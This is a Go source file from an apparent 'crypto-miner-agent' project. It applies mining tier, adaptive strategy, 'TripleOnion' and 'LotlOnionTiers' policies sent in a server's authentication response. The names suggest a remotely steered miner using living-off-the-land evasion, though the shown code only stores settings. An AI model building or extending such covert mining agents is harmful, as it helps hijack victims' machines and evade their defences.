Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
54 lines
1.2 KiB
Go
54 lines
1.2 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
|
return miner.DefaultMiningTierPolicy()
|
|
}
|
|
return c.tierPolicy
|
|
}
|
|
|
|
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
|
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
|
if len(resp.MiningTierPolicy) > 0 {
|
|
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
|
}
|
|
if len(resp.AdaptiveStrategy) > 0 {
|
|
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
|
return
|
|
}
|
|
if len(resp.MiningTierPolicy) > 0 {
|
|
return
|
|
}
|
|
if len(resp.LotlOnionTiers) == 0 {
|
|
return
|
|
}
|
|
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
|
|
for i, s := range resp.LotlOnionTiers {
|
|
order[i] = miner.LOTLTier(s)
|
|
}
|
|
c.mu.Lock()
|
|
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
|
c.mu.Unlock()
|
|
}
|
|
|
|
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var p miner.MiningTierPolicy
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
c.tierPolicy = p
|
|
c.mu.Unlock()
|
|
}
|